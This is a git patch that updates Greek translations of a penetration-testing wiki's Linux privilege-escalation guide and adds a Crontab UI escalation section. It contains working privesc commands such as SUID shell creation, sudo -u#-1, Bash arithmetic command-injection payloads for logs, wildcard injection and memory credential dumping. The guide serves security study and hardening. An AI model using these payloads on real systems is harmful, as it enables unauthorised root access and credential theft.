From e7fbcde542dd6671ea5261a0ea230bfa5f8ea9ca Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:27:06 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 637 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 ++++ .../pentesting-web/vmware-esx-vcenter....md | 18 +- 4 files changed, 507 insertions(+), 295 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ddf37789e..d5f293617 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Πληροφορίες OS -Ας αρχίσουμε να συλλέγουμε πληροφορίες για το OS που τρέχει +Ας ξεκινήσουμε να αποκτούμε πληροφορίες για το λειτουργικό σύστημα που εκτελείται. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Εάν **έχετε write permissions σε οποιονδήποτε φάκελο μέσα στη `PATH`** μεταβλητή, ίσως να μπορείτε να hijack μερικές libraries ή binaries: +Εάν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`**, μπορεί να καταφέρετε να hijack ορισμένες βιβλιοθήκες ή binaries: ```bash echo $PATH ``` -### Πληροφορίες Env +### Env info -Ενδιαφέρουσες πληροφορίες, κωδικοί πρόσβασης ή κλειδιά API στις μεταβλητές περιβάλλοντος; +Υπάρχουν ενδιαφέρουσες πληροφορίες, passwords ή API keys στις environment variables? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Ελέγξτε την έκδοση του kernel και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges +Ελέγξτε την έκδοση του kernel και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για ανύψωση προνομίων ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Μπορείτε να βρείτε μια καλή λίστα με ευπαθή kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Μπορείτε να βρείτε μια καλή λίστα ευάλωτων kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Για να εξαγάγετε όλες τις ευπαθείς εκδόσεις kernel από αυτή την ιστοσελίδα μπορείτε να κάνετε: +Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις kernel από αυτήν την ιστοσελίδα μπορείτε να κάνετε: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτελέστε στο θύμα, ελέγχει μόνο exploits για kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτέλεση στο θύμα, ελέγχει μόνο exploits για kernel 2.x) -Πάντα **ψάξτε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σας να αναφέρεται σε κάποιο kernel exploit και έτσι θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. +Πάντα **αναζητήστε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σας να αναφέρεται σε κάποιο kernel exploit και τότε θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo έκδοση -Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο: +Βασισμένο στις ευάλωτες εκδόσεις sudo που εμφανίζονται στο: ```bash searchsploit sudo ``` -Μπορείτε να ελέγξετε εάν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep. +Μπορείτε να ελέγξετε αν η έκδοση του sudo είναι ευάλωτη χρησιμοποιώντας αυτό το grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg: η επαλήθευση υπογραφής απέτυχε +### Dmesg: επαλήθευση υπογραφής απέτυχε -Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς θα μπορούσε να εκμεταλλευτεί αυτή η vuln. +Έλεγξε **smasher2 box of HTB** για ένα **παράδειγμα** σχετικά με το πώς μπορεί να εκμεταλλευτεί αυτή η vuln. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Περαιτέρω αναγνώριση συστήματος +### Περισσότερα για system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Καταγράψτε πιθανές άμυνες +## Απαρίθμηση πιθανών αμυνών ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να διαφύγετε από αυτό: - +Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να αποδράσετε από αυτό: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Δίσκοι -Ελέγξτε **what is mounted and unmounted**, πού και γιατί. Αν κάτι είναι unmounted μπορείτε να προσπαθήσετε να το mount και να ελέγξετε για ιδιωτικές πληροφορίες +Ελέγξτε **τι έχει προσαρτηθεί και τι δεν έχει προσαρτηθεί**, πού και γιατί. Αν κάτι δεν είναι προσαρτημένο μπορείτε να προσπαθήσετε να το προσαρτήσετε και να ελέγξετε για ιδιωτικές πληροφορίες ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +144,56 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Επίσης, έλεγξε αν **κάποιος compiler είναι εγκατεστημένος**. Αυτό είναι χρήσιμο εάν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το compile στη μηχανή όπου θα το χρησιμοποιήσεις (ή σε μία παρόμοια). +Επίσης, έλεγξε αν υπάρχει εγκατεστημένος **οποιοσδήποτε compiler**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το μεταγλωττίσεις στη μηχανή όπου πρόκειται να το χρησιμοποιήσεις (ή σε κάποια παρόμοια). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Εγκατεστημένο Ευάλωτο Λογισμικό +### Ευάλωτο Εγκατεστημένο Λογισμικό -Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να εκμεταλλευτεί για escalating privileges…\ +Ελέγξτε την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να αξιοποιηθεί για escalating privileges…\ Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Αν έχετε SSH πρόσβαση στη μηχανή μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για ξεπερασμένο και ευπαθές λογισμικό εγκατεστημένο μέσα στη μηχανή. +Αν έχετε πρόσβαση SSH στο μηχάνημα μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε αν υπάρχει παρωχημένο ή ευάλωτο λογισμικό εγκατεστημένο στο μηχάνημα. -> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, επομένως συνιστώνται εφαρμογές όπως το OpenVAS ή παρόμοιες που θα ελέγξουν αν οποιαδήποτε εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ +> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που στη συντριπτική τους πλειοψηφία θα είναι άχρηστες, επομένως συνιστάται η χρήση εφαρμογών όπως το OpenVAS ή παρόμοιων που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ -## Διεργασίες +## Processes -Ρίξτε μια ματιά σε **ποιες διεργασίες** εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα προνόμια από ό,τι θα έπρεπε** (ίσως ένα tomcat να εκτελείται από root?) +Ρίξτε μια ματιά σε **ποιες διεργασίες** εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα προνόμια από όσα θα έπρεπε** (ίσως ένα tomcat να εκτελείται ως root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** ανιχνεύει αυτά ελέγχοντας την παράμετρο `--inspect` μέσα στη γραμμή εντολών της διεργασίας.\ +Επίσης, **έλεγξε τα δικαιώματά σου πάνω στα εκτελέσιμα αρχεία των διεργασιών**, ίσως μπορείς να αντικαταστήσεις κάποιο. ### Process monitoring -Μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείτε processes. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσετε ευάλωτες processes που εκτελούνται συχνά ή όταν πληρούνται ορισμένες προϋποθέσεις. +Μπορείς να χρησιμοποιήσεις εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείς διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσεις ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν πληρούνται ορισμένες προϋποθέσεις. ### Process memory -Ορισμένες υπηρεσίες ενός server αποθηκεύουν **credentials in clear text inside the memory**.\ -Συνήθως θα χρειαστείτε **root privileges** για να διαβάσετε τη μνήμη των processes που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είστε ήδη root και θέλετε να ανακαλύψετε περισσότερα credentials.\ -Ωστόσο, θυμηθείτε ότι **as a regular user you can read the memory of the processes you own**. +Κάποιες υπηρεσίες σε έναν server αποθηκεύουν **διαπιστευτήρια σε απλό κείμενο μέσα στη μνήμη**.\ +Κανονικά θα χρειαστείς **root privileges** για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θέλεις να ανακαλύψεις περισσότερα διαπιστευτήρια.\ +Ωστόσο, να θυμάσαι ότι **ως κανονικός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που κατέχεις**. > [!WARNING] -> Σημειώστε ότι στις μέρες μας τα περισσότερα μηχανήματα **don't allow ptrace by default**, πράγμα που σημαίνει ότι δεν μπορείτε να dumpάρετε άλλες processes που ανήκουν στον unprivileged user σας. +> Σημείωσε ότι σήμερα τα περισσότερα μηχανήματα **δεν επιτρέπουν ptrace από προεπιλογή**, πράγμα που σημαίνει ότι δεν μπορείς να εξάγεις τη μνήμη άλλων διεργασιών που ανήκουν σε μη προνομιούχους χρήστες. > -> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. Αυτή είναι η κλασική λειτουργία του ptracing. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: όλες οι διεργασίες μπορούν να αποσφαλματωθούν, εφόσον έχουν το ίδιο uid. Αυτή είναι ο κλασικός τρόπος λειτουργίας του ptrace. +> - **kernel.yama.ptrace_scope = 1**: μόνο η διεργασία γονέας μπορεί να αποσφαλματωθεί. +> - **kernel.yama.ptrace_scope = 2**: μόνο ο admin μπορεί να χρησιμοποιήσει ptrace, καθώς απαιτείται το capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Καμία διεργασία δεν μπορεί να εντοπιστεί με ptrace. Μόλις οριστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptrace. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Εάν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα), μπορείς να πάρεις το Heap και να αναζητήσεις μέσα τα διαπιστευτήριά της. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Σενάριο +#### GDB σενάριο ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Για ένα δεδομένο PID, **maps δείχνουν πώς η μνήμη απεικονίζεται εντός του εικονικού χώρου διευθύνσεων της διεργασίας**; επίσης δείχνουν τα **δικαιώματα κάθε απεικονιζόμενης περιοχής**. Το **mem** ψευδο-αρχείο **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις μετατοπίσεις (offsets) τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek into the mem file and dump all readable regions** σε ένα αρχείο. +Για ένα δεδομένο process ID, **maps δείχνουν πώς η μνήμη χαρτογραφείται στον εικονικό χώρο διευθύνσεων της διεργασίας**; επίσης δείχνουν τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** pseudo file **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το **maps** file γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τα offsets τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek στο mem file και να dump όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο χώρος εικονικών διευθύνσεων του kernel μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\\ -Τυπικά, `/dev/mem` είναι αναγνώσιμο μόνο από τον χρήστη **root** και την ομάδα **kmem**. +`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του kernel μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ +Τυπικά, `/dev/mem` είναι αναγνώσιμο μόνο από **root** και την ομάδα **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump για linux -Το ProcDump είναι μια αναδημιούργηση για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Μπορείς να το βρεις στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +Το ProcDump είναι μια επανεφεύρεση για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,28 +269,28 @@ Press Ctrl-C to end monitoring without terminating the process. Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις root και να κάνετε dump τη διεργασία που σας ανήκει -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις του root και να κάνετε dump τη διεργασία που ανήκει σε εσάς +- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) ### Διαπιστευτήρια από τη μνήμη διεργασίας #### Χειροκίνητο παράδειγμα -Αν βρείτε ότι η διαδικασία authenticator είναι σε λειτουργία: +Αν διαπιστώσετε ότι η διεργασία authenticator εκτελείται: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Μπορείτε να κάνετε dump τη διαδικασία (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να κάνετε dump τη μνήμη μιας διαδικασίας) και να αναζητήσετε credentials μέσα στη μνήμη: +Μπορείτε να dump the process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους να dump the memory of a process) και να αναζητήσετε credentials μέσα στη memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Το εργαλείο [https://github.com/huntergregal/mimipenguin](https://github.com/huntergregal/mimipenguin) θα **κλέψει credentials σε απλό κείμενο από τη μνήμη** και από κάποια **γνωστά αρχεία**. Απαιτεί root privileges για να λειτουργήσει σωστά. +Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει διαπιστευτήρια σε απλό κείμενο από τη μνήμη** και από κάποια **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. -| Χαρακτηριστικό | Όνομα διεργασίας | +| Feature | Process Name | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +299,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Αναζήτηση Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Κανονικές Εκφράσεις Αναζήτησης/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -316,35 +315,64 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Προγραμματισμένα/Cron jobs -Έλεγξε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείς να εκμεταλλευτείς ένα script που εκτελείται από root (wildcard vuln; μπορείς να τροποποιήσεις αρχεία που χρησιμοποιεί το root; να χρησιμοποιήσεις symlinks; να δημιουργήσεις συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί το root?). +### Crontab UI (alseambusher) που τρέχει ως root – web-based scheduler privesc + +Αν ένα web panel “Crontab UI” (alseambusher/crontab-ui) τρέχει ως root και είναι δεσμευμένο μόνο στο loopback, μπορείς να το προσεγγίσεις μέσω SSH local port-forwarding και να δημιουργήσεις ένα privileged job για privilege escalation. + +Τυπική αλυσίδα +- Εντόπισε port που ακούει μόνο σε loopback (π.χ. 127.0.0.1:8000) και το Basic-Auth realm μέσω `ss -ntlp` / `curl -v localhost:8000` +- Βρες credentials σε operational artifacts: +- Backups/scripts με `zip -P ` +- systemd unit που εκθέτει `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Διάνοιξε tunnel και κάνε login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Δημιούργησε μια εργασία με υψηλά προνόμια και εκτέλεσέ την αμέσως (που δημιουργεί SUID shell): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Χρησιμοποιήστε το: +```bash +/tmp/rootshell -p # root shell +``` +Σκληροποίηση +- Μην τρέχετε το Crontab UI ως root; περιορίστε το με έναν αφιερωμένο χρήστη και ελάχιστες άδειες +- Κάντε bind σε localhost και επιπλέον περιορίστε την πρόσβαση μέσω firewall/VPN; μην επαναχρησιμοποιείτε κωδικούς +- Αποφύγετε την ενσωμάτωση secrets σε unit files; χρησιμοποιήστε secret stores ή root-only EnvironmentFile +- Ενεργοποιήστε audit/logging για on-demand εκτελέσεις job + +Ελέγξτε αν κάποιο scheduled job είναι ευάλωτο. Ίσως μπορείτε να εκμεταλλευτείτε ένα script που εκτελείται από root (wildcard vuln? μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο root? να χρησιμοποιήσετε symlinks? να δημιουργήσετε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Διαδρομή Cron +### Cron διαδρομή Για παράδειγμα, μέσα στο _/etc/crontab_ μπορείτε να βρείτε το PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user_) +(_Σημειώστε ότι ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user_) Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ - -Τότε, μπορείτε να αποκτήσετε ένα root shell χρησιμοποιώντας: +Τότε, μπορείτε να αποκτήσετε root shell χρησιμοποιώντας: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron που χρησιμοποιεί script με wildcard (Wildcard Injection) -Εάν ένα script που εκτελείται από root περιέχει ένα “**\***” μέσα σε μια εντολή, μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε απρόβλεπτες ενέργειες (όπως privesc). Παράδειγμα: +Εάν ένα script εκτελείται από root και έχει “**\***” μέσα σε μία εντολή, μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε απρόσμενες ενέργειες (όπως privesc). Παράδειγμα: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Εάν το wildcard προηγείται μιας διαδρομής όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ακόμα και** _**./\***_ **δεν είναι).** +**Εάν το wildcard προηγείται ενός path όπως** _**/some/path/**_ **, τότε δεν είναι ευάλωτο (ούτε καν** _**./**_ **).** -Διαβάστε την παρακάτω σελίδα για περισσότερα κόλπα εκμετάλλευσης wildcards: +Διάβασε την παρακάτω σελίδα για περισσότερα wildcard exploitation tricks: {{#ref}} @@ -354,9 +382,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Αν ένας root cron/parser διαβάζει μη έμπιστα πεδία log και τα τροφοδοτεί σε έναν arithmetic context, ένας attacker μπορεί να εγχύσει μια command substitution $(...) που εκτελείται ως root όταν τρέξει ο cron. +Το Bash εκτελεί parameter expansion και command substitution πριν το arithmetic evaluation στα ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει untrusted log fields και τα προωθεί σε ένα arithmetic context, ένας attacker μπορεί να inject-άρει ένα command substitution $(...) που εκτελείται ως root όταν τρέξει το cron. -- Why it works: Στο Bash, οι expansions γίνονται με αυτή τη σειρά: parameter/variable expansion, command substitution, arithmetic expansion, και μετά word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` πρώτα υποκαθίσταται (τρέχοντας την εντολή), και στη συνέχεια το υπόλοιπο αριθμητικό `0` χρησιμοποιείται για την αριθμητική ώστε το script να συνεχίσει χωρίς σφάλματα. +- Γιατί δουλεύει: Στο Bash, οι expansions γίνονται με αυτή τη σειρά: parameter/variable expansion, command substitution, arithmetic expansion, στη συνέχεια word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` υποκαθίσταται πρώτα (εκτελώντας την εντολή), και το υπόλοιπο αριθμητικό `0` χρησιμοποιείται για το arithmetic ώστε το script να συνεχίσει χωρίς σφάλματα. - Typical vulnerable pattern: ```bash @@ -368,7 +396,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Γράψτε attacker-controlled κείμενο στο parsed log έτσι ώστε το πεδίο που μοιάζει αριθμητικό να περιέχει μια command substitution και να τελειώνει με ένα ψηφίο. Βεβαιωθείτε ότι η εντολή σας δεν γράφει στο stdout (ή ανακατευθύνετέ το) ώστε η αριθμητική να παραμένει έγκυρη. +- Exploitation: Get attacker-controlled text written into the parsed log so that the numeric-looking field contains a command substitution and ends with a digit. Ensure your command does not print to stdout (or redirect it) so the arithmetic remains valid. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -383,23 +411,23 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Αν το script που εκτελείται από τον root χρησιμοποιεί έναν **κατάλογο στον οποίο έχεις πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψεις αυτόν τον φάκελο και να **δημιουργήσεις έναν symlink προς κάποιον άλλο φάκελο** που θα εξυπηρετεί ένα script υπό τον έλεγχό σου. +Εάν το script που εκτελείται από το root χρησιμοποιεί έναν **directory όπου έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και να **δημιουργήσετε έναν φάκελο symlink προς κάποιον άλλο** που εξυπηρετεί ένα script που ελέγχετε ```bash ln -d -s ``` -### Συχνές cron jobs +### Συχνά cron jobs -Μπορείτε να παρακολουθείτε τις διεργασίες για να 